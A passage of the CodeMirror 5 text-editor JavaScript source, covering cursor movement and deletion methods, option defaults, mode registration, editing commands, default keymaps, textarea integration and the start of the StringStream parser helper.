
    moveH: methodOp(function(dir, unit) {
      var cm = this;
      cm.extendSelectionsBy(function(range) {
        if (cm.display.shift || cm.doc.extend || range.empty())
          return findPosH(cm.doc, range.head, dir, unit, cm.options.rtlMoveVisually);
        else
          return dir < 0 ? range.from() : range.to();
      }, sel_move);
    }),

    deleteH: methodOp(function(dir, unit) {
      var sel = this.doc.sel, doc = this.doc;
      if (sel.somethingSelected())
        doc.replaceSelection("", null, "+delete");
      else
        deleteNearSelection(this, function(range) {
          var other = findPosH(doc, range.head, dir, unit, false);
          return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other};
        });
    }),

    findPosV: function(from, amount, unit, goalColumn) {
      var dir = 1, x = goalColumn;
      if (amount < 0) { dir = -1; amount = -amount; }
      for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
        var coords = cursorCoords(this, cur, "div");
        if (x == null) x = coords.left;
        else coords.left = x;
        cur = findPosV(this, coords, dir, unit);
        if (cur.hitSide) break;
      }
      return cur;
    },

    moveV: methodOp(function(dir, unit) {
      var cm = this, doc = this.doc, goals = [];
      var collapse = !cm.display.shift && !doc.extend && doc.sel.somethingSelected();
      doc.extendSelectionsBy(function(range) {
        if (collapse)
          return dir < 0 ? range.from() : range.to();
        var headPos = cursorCoords(cm, range.head, "div");
        if (range.goalColumn != null) headPos.left = range.goalColumn;
        goals.push(headPos.left);
        var pos = findPosV(cm, headPos, dir, unit);
        if (unit == "page" && range == doc.sel.primary())
          addToScrollPos(cm, null, charCoords(cm, pos, "div").top - headPos.top);
        return pos;
      }, sel_move);
      if (goals.length) for (var i = 0; i < doc.sel.ranges.length; i++)
        doc.sel.ranges[i].goalColumn = goals[i];
    }),

    // Find the word at the given position (as returned by coordsChar).
    findWordAt: function(pos) {
      var doc = this.doc, line = getLine(doc, pos.line).text;
      var start = pos.ch, end = pos.ch;
      if (line) {
        var helper = this.getHelper(pos, "wordChars");
        if ((pos.xRel < 0 || end == line.length) && start) --start; else ++end;
        var startChar = line.charAt(start);
        var check = isWordChar(startChar, helper)
          ? function(ch) { return isWordChar(ch, helper); }
          : /\s/.test(startChar) ? function(ch) {return /\s/.test(ch);}
          : function(ch) {return !/\s/.test(ch) && !isWordChar(ch);};
        while (start > 0 && check(line.charAt(start - 1))) --start;
        while (end < line.length && check(line.charAt(end))) ++end;
      }
      return new Range(Pos(pos.line, start), Pos(pos.line, end));
    },

    toggleOverwrite: function(value) {
      if (value != null && value == this.state.overwrite) return;
      if (this.state.overwrite = !this.state.overwrite)
        addClass(this.display.cursorDiv, "CodeMirror-overwrite");
      else
        rmClass(this.display.cursorDiv, "CodeMirror-overwrite");

      signal(this, "overwriteToggle", this, this.state.overwrite);
    },
    hasFocus: function() { return this.display.input.getField() == activeElt(); },

    scrollTo: methodOp(function(x, y) {
      if (x != null || y != null) resolveScrollToPos(this);
      if (x != null) this.curOp.scrollLeft = x;
      if (y != null) this.curOp.scrollTop = y;
    }),
    getScrollInfo: function() {
      var scroller = this.display.scroller;
      return {left: scroller.scrollLeft, top: scroller.scrollTop,
              height: scroller.scrollHeight - scrollGap(this) - this.display.barHeight,
              width: scroller.scrollWidth - scrollGap(this) - this.display.barWidth,
              clientHeight: displayHeight(this), clientWidth: displayWidth(this)};
    },

    scrollIntoView: methodOp(function(range, margin) {
      if (range == null) {
        range = {from: this.doc.sel.primary().head, to: null};
        if (margin == null) margin = this.options.cursorScrollMargin;
      } else if (typeof range == "number") {
        range = {from: Pos(range, 0), to: null};
      } else if (range.from == null) {
        range = {from: range, to: null};
      }
      if (!range.to) range.to = range.from;
      range.margin = margin || 0;

      if (range.from.line != null) {
        resolveScrollToPos(this);
        this.curOp.scrollToPos = range;
      } else {
        var sPos = calculateScrollPos(this, Math.min(range.from.left, range.to.left),
                                      Math.min(range.from.top, range.to.top) - range.margin,
                                      Math.max(range.from.right, range.to.right),
                                      Math.max(range.from.bottom, range.to.bottom) + range.margin);
        this.scrollTo(sPos.scrollLeft, sPos.scrollTop);
      }
    }),

    setSize: methodOp(function(width, height) {
      var cm = this;
      function interpret(val) {
        return typeof val == "number" || /^\d+$/.test(String(val)) ? val + "px" : val;
      }
      if (width != null) cm.display.wrapper.style.width = interpret(width);
      if (height != null) cm.display.wrapper.style.height = interpret(height);
      if (cm.options.lineWrapping) clearLineMeasurementCache(this);
      var lineNo = cm.display.viewFrom;
      cm.doc.iter(lineNo, cm.display.viewTo, function(line) {
        if (line.widgets) for (var i = 0; i < line.widgets.length; i++)
          if (line.widgets[i].noHScroll) { regLineChange(cm, lineNo, "widget"); break; }
        ++lineNo;
      });
      cm.curOp.forceUpdate = true;
      signal(cm, "refresh", this);
    }),

    operation: function(f){return runInOp(this, f);},

    refresh: methodOp(function() {
      var oldHeight = this.display.cachedTextHeight;
      regChange(this);
      this.curOp.forceUpdate = true;
      clearCaches(this);
      this.scrollTo(this.doc.scrollLeft, this.doc.scrollTop);
      updateGutterSpace(this);
      if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5)
        estimateLineHeights(this);
      signal(this, "refresh", this);
    }),

    swapDoc: methodOp(function(doc) {
      var old = this.doc;
      old.cm = null;
      attachDoc(this, doc);
      clearCaches(this);
      this.display.input.reset();
      this.scrollTo(doc.scrollLeft, doc.scrollTop);
      this.curOp.forceScroll = true;
      signalLater(this, "swapDoc", this, old);
      return old;
    }),

    getInputField: function(){return this.display.input.getField();},
    getWrapperElement: function(){return this.display.wrapper;},
    getScrollerElement: function(){return this.display.scroller;},
    getGutterElement: function(){return this.display.gutters;}
  };
  eventMixin(CodeMirror);

  // OPTION DEFAULTS

  // The default configuration options.
  var defaults = CodeMirror.defaults = {};
  // Functions to run when options are changed.
  var optionHandlers = CodeMirror.optionHandlers = {};

  function option(name, deflt, handle, notOnInit) {
    CodeMirror.defaults[name] = deflt;
    if (handle) optionHandlers[name] =
      notOnInit ? function(cm, val, old) {if (old != Init) handle(cm, val, old);} : handle;
  }

  // Passed to option handlers when there is no old value.
  var Init = CodeMirror.Init = {toString: function(){return "CodeMirror.Init";}};

  // These two are, on init, called from the constructor because they
  // have to be initialized before the editor can start at all.
  option("value", "", function(cm, val) {
    cm.setValue(val);
  }, true);
  option("mode", null, function(cm, val) {
    cm.doc.modeOption = val;
    loadMode(cm);
  }, true);

  option("indentUnit", 2, loadMode, true);
  option("indentWithTabs", false);
  option("smartIndent", true);
  option("tabSize", 4, function(cm) {
    resetModeState(cm);
    clearCaches(cm);
    regChange(cm);
  }, true);
  option("lineSeparator", null, function(cm, val) {
    cm.doc.lineSep = val;
    if (!val) return;
    var newBreaks = [], lineNo = cm.doc.first;
    cm.doc.iter(function(line) {
      for (var pos = 0;;) {
        var found = line.text.indexOf(val, pos);
        if (found == -1) break;
        pos = found + val.length;
        newBreaks.push(Pos(lineNo, found));
      }
      lineNo++;
    });
    for (var i = newBreaks.length - 1; i >= 0; i--)
      replaceRange(cm.doc, val, newBreaks[i], Pos(newBreaks[i].line, newBreaks[i].ch + val.length))
  });
  option("specialChars", /[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g, function(cm, val, old) {
    cm.state.specialChars = new RegExp(val.source + (val.test("\t") ? "" : "|\t"), "g");
    if (old != CodeMirror.Init) cm.refresh();
  });
  option("specialCharPlaceholder", defaultSpecialCharPlaceholder, function(cm) {cm.refresh();}, true);
  option("electricChars", true);
  option("inputStyle", mobile ? "contenteditable" : "textarea", function() {
    throw new Error("inputStyle can not (yet) be changed in a running editor"); // FIXME
  }, true);
  option("rtlMoveVisually", !windows);
  option("wholeLineUpdateBefore", true);

  option("theme", "default", function(cm) {
    themeChanged(cm);
    guttersChanged(cm);
  }, true);
  option("keyMap", "default", function(cm, val, old) {
    var next = getKeyMap(val);
    var prev = old != CodeMirror.Init && getKeyMap(old);
    if (prev && prev.detach) prev.detach(cm, next);
    if (next.attach) next.attach(cm, prev || null);
  });
  option("extraKeys", null);

  option("lineWrapping", false, wrappingChanged, true);
  option("gutters", [], function(cm) {
    setGuttersForLineNumbers(cm.options);
    guttersChanged(cm);
  }, true);
  option("fixedGutter", true, function(cm, val) {
    cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + "px" : "0";
    cm.refresh();
  }, true);
  option("coverGutterNextToScrollbar", false, function(cm) {updateScrollbars(cm);}, true);
  option("scrollbarStyle", "native", function(cm) {
    initScrollbars(cm);
    updateScrollbars(cm);
    cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);
    cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft);
  }, true);
  option("lineNumbers", false, function(cm) {
    setGuttersForLineNumbers(cm.options);
    guttersChanged(cm);
  }, true);
  option("firstLineNumber", 1, guttersChanged, true);
  option("lineNumberFormatter", function(integer) {return integer;}, guttersChanged, true);
  option("showCursorWhenSelecting", false, updateSelection, true);

  option("resetSelectionOnContextMenu", true);
  option("lineWiseCopyCut", true);

  option("readOnly", false, function(cm, val) {
    if (val == "nocursor") {
      onBlur(cm);
      cm.display.input.blur();
      cm.display.disabled = true;
    } else {
      cm.display.disabled = false;
    }
    cm.display.input.readOnlyChanged(val)
  });
  option("disableInput", false, function(cm, val) {if (!val) cm.display.input.reset();}, true);
  option("dragDrop", true, dragDropChanged);
  option("allowDropFileTypes", null);

  option("cursorBlinkRate", 530);
  option("cursorScrollMargin", 0);
  option("cursorHeight", 1, updateSelection, true);
  option("singleCursorHeightPerLine", true, updateSelection, true);
  option("workTime", 100);
  option("workDelay", 100);
  option("flattenSpans", true, resetModeState, true);
  option("addModeClass", false, resetModeState, true);
  option("pollInterval", 100);
  option("undoDepth", 200, function(cm, val){cm.doc.history.undoDepth = val;});
  option("historyEventDelay", 1250);
  option("viewportMargin", 10, function(cm){cm.refresh();}, true);
  option("maxHighlightLength", 10000, resetModeState, true);
  option("moveInputWithCursor", true, function(cm, val) {
    if (!val) cm.display.input.resetPosition();
  });

  option("tabindex", null, function(cm, val) {
    cm.display.input.getField().tabIndex = val || "";
  });
  option("autofocus", null);

  // MODE DEFINITION AND QUERYING

  // Known modes, by name and by MIME
  var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  CodeMirror.defineMode = function(name, mode) {
    if (!CodeMirror.defaults.mode && name != "null") CodeMirror.defaults.mode = name;
    if (arguments.length > 2)
      mode.dependencies = Array.prototype.slice.call(arguments, 2);
    modes[name] = mode;
  };

  CodeMirror.defineMIME = function(mime, spec) {
    mimeModes[mime] = spec;
  };

  // Given a MIME type, a {name, ...options} config object, or a name
  // string, return a mode config object.
  CodeMirror.resolveMode = function(spec) {
    if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
      spec = mimeModes[spec];
    } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
      var found = mimeModes[spec.name];
      if (typeof found == "string") found = {name: found};
      spec = createObj(found, spec);
      spec.name = found.name;
    } else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
      return CodeMirror.resolveMode("application/xml");
    }
    if (typeof spec == "string") return {name: spec};
    else return spec || {name: "null"};
  };

  // Given a mode spec (anything that resolveMode accepts), find and
  // initialize an actual mode object.
  CodeMirror.getMode = function(options, spec) {
    var spec = CodeMirror.resolveMode(spec);
    var mfactory = modes[spec.name];
    if (!mfactory) return CodeMirror.getMode(options, "text/plain");
    var modeObj = mfactory(options, spec);
    if (modeExtensions.hasOwnProperty(spec.name)) {
      var exts = modeExtensions[spec.name];
      for (var prop in exts) {
        if (!exts.hasOwnProperty(prop)) continue;
        if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop];
        modeObj[prop] = exts[prop];
      }
    }
    modeObj.name = spec.name;
    if (spec.helperType) modeObj.helperType = spec.helperType;
    if (spec.modeProps) for (var prop in spec.modeProps)
      modeObj[prop] = spec.modeProps[prop];

    return modeObj;
  };

  // Minimal default mode.
  CodeMirror.defineMode("null", function() {
    return {token: function(stream) {stream.skipToEnd();}};
  });
  CodeMirror.defineMIME("text/plain", "null");

  // This can be used to attach properties to mode objects from
  // outside the actual mode definition.
  var modeExtensions = CodeMirror.modeExtensions = {};
  CodeMirror.extendMode = function(mode, properties) {
    var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
    copyObj(properties, exts);
  };

  // EXTENSIONS

  CodeMirror.defineExtension = function(name, func) {
    CodeMirror.prototype[name] = func;
  };
  CodeMirror.defineDocExtension = function(name, func) {
    Doc.prototype[name] = func;
  };
  CodeMirror.defineOption = option;

  var initHooks = [];
  CodeMirror.defineInitHook = function(f) {initHooks.push(f);};

  var helpers = CodeMirror.helpers = {};
  CodeMirror.registerHelper = function(type, name, value) {
    if (!helpers.hasOwnProperty(type)) helpers[type] = CodeMirror[type] = {_global: []};
    helpers[type][name] = value;
  };
  CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {
    CodeMirror.registerHelper(type, name, value);
    helpers[type]._global.push({pred: predicate, val: value});
  };

  // MODE STATE HANDLING

  // Utility functions for working with state. Exported because nested
  // modes need to do this for their inner modes.

  var copyState = CodeMirror.copyState = function(mode, state) {
    if (state === true) return state;
    if (mode.copyState) return mode.copyState(state);
    var nstate = {};
    for (var n in state) {
      var val = state[n];
      if (val instanceof Array) val = val.concat([]);
      nstate[n] = val;
    }
    return nstate;
  };

  var startState = CodeMirror.startState = function(mode, a1, a2) {
    return mode.startState ? mode.startState(a1, a2) : true;
  };

  // Given a mode and a state (for that mode), find the inner mode and
  // state at the position that the state refers to.
  CodeMirror.innerMode = function(mode, state) {
    while (mode.innerMode) {
      var info = mode.innerMode(state);
      if (!info || info.mode == mode) break;
      state = info.state;
      mode = info.mode;
    }
    return info || {mode: mode, state: state};
  };

  // STANDARD COMMANDS

  // Commands are parameter-less actions that can be performed on an
  // editor, mostly used for keybindings.
  var commands = CodeMirror.commands = {
    selectAll: function(cm) {cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);},
    singleSelection: function(cm) {
      cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll);
    },
    killLine: function(cm) {
      deleteNearSelection(cm, function(range) {
        if (range.empty()) {
          var len = getLine(cm.doc, range.head.line).text.length;
          if (range.head.ch == len && range.head.line < cm.lastLine())
            return {from: range.head, to: Pos(range.head.line + 1, 0)};
          else
            return {from: range.head, to: Pos(range.head.line, len)};
        } else {
          return {from: range.from(), to: range.to()};
        }
      });
    },
    deleteLine: function(cm) {
      deleteNearSelection(cm, function(range) {
        return {from: Pos(range.from().line, 0),
                to: clipPos(cm.doc, Pos(range.to().line + 1, 0))};
      });
    },
    delLineLeft: function(cm) {
      deleteNearSelection(cm, function(range) {
        return {from: Pos(range.from().line, 0), to: range.from()};
      });
    },
    delWrappedLineLeft: function(cm) {
      deleteNearSelection(cm, function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        var leftPos = cm.coordsChar({left: 0, top: top}, "div");
        return {from: leftPos, to: range.from()};
      });
    },
    delWrappedLineRight: function(cm) {
      deleteNearSelection(cm, function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
        return {from: range.from(), to: rightPos };
      });
    },
    undo: function(cm) {cm.undo();},
    redo: function(cm) {cm.redo();},
    undoSelection: function(cm) {cm.undoSelection();},
    redoSelection: function(cm) {cm.redoSelection();},
    goDocStart: function(cm) {cm.extendSelection(Pos(cm.firstLine(), 0));},
    goDocEnd: function(cm) {cm.extendSelection(Pos(cm.lastLine()));},
    goLineStart: function(cm) {
      cm.extendSelectionsBy(function(range) { return lineStart(cm, range.head.line); },
                            {origin: "+move", bias: 1});
    },
    goLineStartSmart: function(cm) {
      cm.extendSelectionsBy(function(range) {
        return lineStartSmart(cm, range.head);
      }, {origin: "+move", bias: 1});
    },
    goLineEnd: function(cm) {
      cm.extendSelectionsBy(function(range) { return lineEnd(cm, range.head.line); },
                            {origin: "+move", bias: -1});
    },
    goLineRight: function(cm) {
      cm.extendSelectionsBy(function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
      }, sel_move);
    },
    goLineLeft: function(cm) {
      cm.extendSelectionsBy(function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        return cm.coordsChar({left: 0, top: top}, "div");
      }, sel_move);
    },
    goLineLeftSmart: function(cm) {
      cm.extendSelectionsBy(function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        var pos = cm.coordsChar({left: 0, top: top}, "div");
        if (pos.ch < cm.getLine(pos.line).search(/\S/)) return lineStartSmart(cm, range.head);
        return pos;
      }, sel_move);
    },
    goLineUp: function(cm) {cm.moveV(-1, "line");},
    goLineDown: function(cm) {cm.moveV(1, "line");},
    goPageUp: function(cm) {cm.moveV(-1, "page");},
    goPageDown: function(cm) {cm.moveV(1, "page");},
    goCharLeft: function(cm) {cm.moveH(-1, "char");},
    goCharRight: function(cm) {cm.moveH(1, "char");},
    goColumnLeft: function(cm) {cm.moveH(-1, "column");},
    goColumnRight: function(cm) {cm.moveH(1, "column");},
    goWordLeft: function(cm) {cm.moveH(-1, "word");},
    goGroupRight: function(cm) {cm.moveH(1, "group");},
    goGroupLeft: function(cm) {cm.moveH(-1, "group");},
    goWordRight: function(cm) {cm.moveH(1, "word");},
    delCharBefore: function(cm) {cm.deleteH(-1, "char");},
    delCharAfter: function(cm) {cm.deleteH(1, "char");},
    delWordBefore: function(cm) {cm.deleteH(-1, "word");},
    delWordAfter: function(cm) {cm.deleteH(1, "word");},
    delGroupBefore: function(cm) {cm.deleteH(-1, "group");},
    delGroupAfter: function(cm) {cm.deleteH(1, "group");},
    indentAuto: function(cm) {cm.indentSelection("smart");},
    indentMore: function(cm) {cm.indentSelection("add");},
    indentLess: function(cm) {cm.indentSelection("subtract");},
    insertTab: function(cm) {cm.replaceSelection("\t");},
    insertSoftTab: function(cm) {
      var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;
      for (var i = 0; i < ranges.length; i++) {
        var pos = ranges[i].from();
        var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);
        spaces.push(new Array(tabSize - col % tabSize + 1).join(" "));
      }
      cm.replaceSelections(spaces);
    },
    defaultTab: function(cm) {
      if (cm.somethingSelected()) cm.indentSelection("add");
      else cm.execCommand("insertTab");
    },
    transposeChars: function(cm) {
      runInOp(cm, function() {
        var ranges = cm.listSelections(), newSel = [];
        for (var i = 0; i < ranges.length; i++) {
          var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;
          if (line) {
            if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1);
            if (cur.ch > 0) {
              cur = new Pos(cur.line, cur.ch + 1);
              cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),
                              Pos(cur.line, cur.ch - 2), cur, "+transpose");
            } else if (cur.line > cm.doc.first) {
              var prev = getLine(cm.doc, cur.line - 1).text;
              if (prev)
                cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +
                                prev.charAt(prev.length - 1),
                                Pos(cur.line - 1, prev.length - 1), Pos(cur.line, 1), "+transpose");
            }
          }
          newSel.push(new Range(cur, cur));
        }
        cm.setSelections(newSel);
      });
    },
    newlineAndIndent: function(cm) {
      runInOp(cm, function() {
        var len = cm.listSelections().length;
        for (var i = 0; i < len; i++) {
          var range = cm.listSelections()[i];
          cm.replaceRange(cm.doc.lineSeparator(), range.anchor, range.head, "+input");
          cm.indentLine(range.from().line + 1, null, true);
        }
        ensureCursorVisible(cm);
      });
    },
    toggleOverwrite: function(cm) {cm.toggleOverwrite();}
  };


  // STANDARD KEYMAPS

  var keyMap = CodeMirror.keyMap = {};

  keyMap.basic = {
    "Left": "goCharLeft", "Right": "goCharRight", "Up": "goLineUp", "Down": "goLineDown",
    "End": "goLineEnd", "Home": "goLineStartSmart", "PageUp": "goPageUp", "PageDown": "goPageDown",
    "Delete": "delCharAfter", "Backspace": "delCharBefore", "Shift-Backspace": "delCharBefore",
    "Tab": "defaultTab", "Shift-Tab": "indentAuto",
    "Enter": "newlineAndIndent", "Insert": "toggleOverwrite",
    "Esc": "singleSelection"
  };
  // Note that the save and find-related commands aren't defined by
  // default. User code or addons can define them. Unknown commands
  // are simply ignored.
  keyMap.pcDefault = {
    "Ctrl-A": "selectAll", "Ctrl-D": "deleteLine", "Ctrl-Z": "undo", "Shift-Ctrl-Z": "redo", "Ctrl-Y": "redo",
    "Ctrl-Home": "goDocStart", "Ctrl-End": "goDocEnd", "Ctrl-Up": "goLineUp", "Ctrl-Down": "goLineDown",
    "Ctrl-Left": "goGroupLeft", "Ctrl-Right": "goGroupRight", "Alt-Left": "goLineStart", "Alt-Right": "goLineEnd",
    "Ctrl-Backspace": "delGroupBefore", "Ctrl-Delete": "delGroupAfter", "Ctrl-S": "save", "Ctrl-F": "find",
    "Ctrl-G": "findNext", "Shift-Ctrl-G": "findPrev", "Shift-Ctrl-F": "replace", "Shift-Ctrl-R": "replaceAll",
    "Ctrl-[": "indentLess", "Ctrl-]": "indentMore",
    "Ctrl-U": "undoSelection", "Shift-Ctrl-U": "redoSelection", "Alt-U": "redoSelection",
    fallthrough: "basic"
  };
  // Very basic readline/emacs-style bindings, which are standard on Mac.
  keyMap.emacsy = {
    "Ctrl-F": "goCharRight", "Ctrl-B": "goCharLeft", "Ctrl-P": "goLineUp", "Ctrl-N": "goLineDown",
    "Alt-F": "goWordRight", "Alt-B": "goWordLeft", "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
    "Ctrl-V": "goPageDown", "Shift-Ctrl-V": "goPageUp", "Ctrl-D": "delCharAfter", "Ctrl-H": "delCharBefore",
    "Alt-D": "delWordAfter", "Alt-Backspace": "delWordBefore", "Ctrl-K": "killLine", "Ctrl-T": "transposeChars"
  };
  keyMap.macDefault = {
    "Cmd-A": "selectAll", "Cmd-D": "deleteLine", "Cmd-Z": "undo", "Shift-Cmd-Z": "redo", "Cmd-Y": "redo",
    "Cmd-Home": "goDocStart", "Cmd-Up": "goDocStart", "Cmd-End": "goDocEnd", "Cmd-Down": "goDocEnd", "Alt-Left": "goGroupLeft",
    "Alt-Right": "goGroupRight", "Cmd-Left": "goLineLeft", "Cmd-Right": "goLineRight", "Alt-Backspace": "delGroupBefore",
    "Ctrl-Alt-Backspace": "delGroupAfter", "Alt-Delete": "delGroupAfter", "Cmd-S": "save", "Cmd-F": "find",
    "Cmd-G": "findNext", "Shift-Cmd-G": "findPrev", "Cmd-Alt-F": "replace", "Shift-Cmd-Alt-F": "replaceAll",
    "Cmd-[": "indentLess", "Cmd-]": "indentMore", "Cmd-Backspace": "delWrappedLineLeft", "Cmd-Delete": "delWrappedLineRight",
    "Cmd-U": "undoSelection", "Shift-Cmd-U": "redoSelection", "Ctrl-Up": "goDocStart", "Ctrl-Down": "goDocEnd",
    fallthrough: ["basic", "emacsy"]
  };
  keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault;

  // KEYMAP DISPATCH

  function normalizeKeyName(name) {
    var parts = name.split(/-(?!$)/), name = parts[parts.length - 1];
    var alt, ctrl, shift, cmd;
    for (var i = 0; i < parts.length - 1; i++) {
      var mod = parts[i];
      if (/^(cmd|meta|m)$/i.test(mod)) cmd = true;
      else if (/^a(lt)?$/i.test(mod)) alt = true;
      else if (/^(c|ctrl|control)$/i.test(mod)) ctrl = true;
      else if (/^s(hift)$/i.test(mod)) shift = true;
      else throw new Error("Unrecognized modifier name: " + mod);
    }
    if (alt) name = "Alt-" + name;
    if (ctrl) name = "Ctrl-" + name;
    if (cmd) name = "Cmd-" + name;
    if (shift) name = "Shift-" + name;
    return name;
  }

  // This is a kludge to keep keymaps mostly working as raw objects
  // (backwards compatibility) while at the same time support features
  // like normalization and multi-stroke key bindings. It compiles a
  // new normalized keymap, and then updates the old object to reflect
  // this.
  CodeMirror.normalizeKeyMap = function(keymap) {
    var copy = {};
    for (var keyname in keymap) if (keymap.hasOwnProperty(keyname)) {
      var value = keymap[keyname];
      if (/^(name|fallthrough|(de|at)tach)$/.test(keyname)) continue;
      if (value == "...") { delete keymap[keyname]; continue; }

      var keys = map(keyname.split(" "), normalizeKeyName);
      for (var i = 0; i < keys.length; i++) {
        var val, name;
        if (i == keys.length - 1) {
          name = keys.join(" ");
          val = value;
        } else {
          name = keys.slice(0, i + 1).join(" ");
          val = "...";
        }
        var prev = copy[name];
        if (!prev) copy[name] = val;
        else if (prev != val) throw new Error("Inconsistent bindings for " + name);
      }
      delete keymap[keyname];
    }
    for (var prop in copy) keymap[prop] = copy[prop];
    return keymap;
  };

  var lookupKey = CodeMirror.lookupKey = function(key, map, handle, context) {
    map = getKeyMap(map);
    var found = map.call ? map.call(key, context) : map[key];
    if (found === false) return "nothing";
    if (found === "...") return "multi";
    if (found != null && handle(found)) return "handled";

    if (map.fallthrough) {
      if (Object.prototype.toString.call(map.fallthrough) != "[object Array]")
        return lookupKey(key, map.fallthrough, handle, context);
      for (var i = 0; i < map.fallthrough.length; i++) {
        var result = lookupKey(key, map.fallthrough[i], handle, context);
        if (result) return result;
      }
    }
  };

  // Modifier key presses don't count as 'real' key presses for the
  // purpose of keymap fallthrough.
  var isModifierKey = CodeMirror.isModifierKey = function(value) {
    var name = typeof value == "string" ? value : keyNames[value.keyCode];
    return name == "Ctrl" || name == "Alt" || name == "Shift" || name == "Mod";
  };

  // Look up the name of a key as indicated by an event object.
  var keyName = CodeMirror.keyName = function(event, noShift) {
    if (presto && event.keyCode == 34 && event["char"]) return false;
    var base = keyNames[event.keyCode], name = base;
    if (name == null || event.altGraphKey) return false;
    if (event.altKey && base != "Alt") name = "Alt-" + name;
    if ((flipCtrlCmd ? event.metaKey : event.ctrlKey) && base != "Ctrl") name = "Ctrl-" + name;
    if ((flipCtrlCmd ? event.ctrlKey : event.metaKey) && base != "Cmd") name = "Cmd-" + name;
    if (!noShift && event.shiftKey && base != "Shift") name = "Shift-" + name;
    return name;
  };

  function getKeyMap(val) {
    return typeof val == "string" ? keyMap[val] : val;
  }

  // FROMTEXTAREA

  CodeMirror.fromTextArea = function(textarea, options) {
    options = options ? copyObj(options) : {};
    options.value = textarea.value;
    if (!options.tabindex && textarea.tabIndex)
      options.tabindex = textarea.tabIndex;
    if (!options.placeholder && textarea.placeholder)
      options.placeholder = textarea.placeholder;
    // Set autofocus to true if this textarea is focused, or if it has
    // autofocus and no other element is focused.
    if (options.autofocus == null) {
      var hasFocus = activeElt();
      options.autofocus = hasFocus == textarea ||
        textarea.getAttribute("autofocus") != null && hasFocus == document.body;
    }

    function save() {textarea.value = cm.getValue();}
    if (textarea.form) {
      on(textarea.form, "submit", save);
      // Deplorable hack to make the submit method do the right thing.
      if (!options.leaveSubmitMethodAlone) {
        var form = textarea.form, realSubmit = form.submit;
        try {
          var wrappedSubmit = form.submit = function() {
            save();
            form.submit = realSubmit;
            form.submit();
            form.submit = wrappedSubmit;
          };
        } catch(e) {}
      }
    }

    options.finishInit = function(cm) {
      cm.save = save;
      cm.getTextArea = function() { return textarea; };
      cm.toTextArea = function() {
        cm.toTextArea = isNaN; // Prevent this from being ran twice
        save();
        textarea.parentNode.removeChild(cm.getWrapperElement());
        textarea.style.display = "";
        if (textarea.form) {
          off(textarea.form, "submit", save);
          if (typeof textarea.form.submit == "function")
            textarea.form.submit = realSubmit;
        }
      };
    };

    textarea.style.display = "none";
    var cm = CodeMirror(function(node) {
      textarea.parentNode.insertBefore(node, textarea.nextSibling);
    }, options);
    return cm;
  };

  // STRING STREAM

  // Fed to the mode parsers, provides helper functions to make
  // parsers more succinct.

  var StringStream = CodeMirror.StringStream = function(string, tabSize) {
    this.pos = this.start = 0;
    this.string = string;
    this.tabSize = tabSize || 8;
    this.lastColumnPos = this.lastColumnValue = 0;
    this.lineStart = 0;
  };

  StringStream.prototype = {
    eol: function() {return this.pos >= this.string.length;},
    sol: function() {return this.pos == this.lineStart;},
    peek: function() {return this.string.charAt(this.pos) || undefined;},
    next: function() {
      if (this.pos < this.string.length)
        return this.string.charAt(this.pos++);
    },
    eat: function(match) {
      var ch = this.string.charAt(this.pos);
      if (typeof match == "string") var ok = ch == match;
      else var ok = ch && (match.test ? match.test(ch) : match(ch));
      if (ok) {++this.pos; return ch;}
    },
    eatWhile: function(match) {
      var start = this.pos;
      while (this.eat(match)){}
      return this.pos > start;
    },
    eatSpace: function() {
      var start = this.pos;
      while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
      return this.pos > start;
    },
    skipToEnd: function() {this.pos = this.string.length;},
    skipTo: function(ch) {
      var found = this.string.indexOf(ch, this.pos);
      if (found > -1) {this.pos = found; return true;}
    },
    backUp: function(n) {this.pos -= n;},
    column: function() {
      if (this.lastColumnPos < this.start) {
        this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
        this.lastColumnPos = this.start;
      }
      return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
    },
    indentation: function() {
      return countColumn(this.string, null, this.tabSize) -
        (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
    },
    match: function(pattern, consume, caseInsensitive) {
      if (typeof pattern == "string") {
        var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
        var substr = this.string.substr(this.pos, pattern.length);
        if (cased(substr) == cased(pattern)) {
          if (consume !== false) this.pos += pattern.length;
          return true;
        }
      } else {
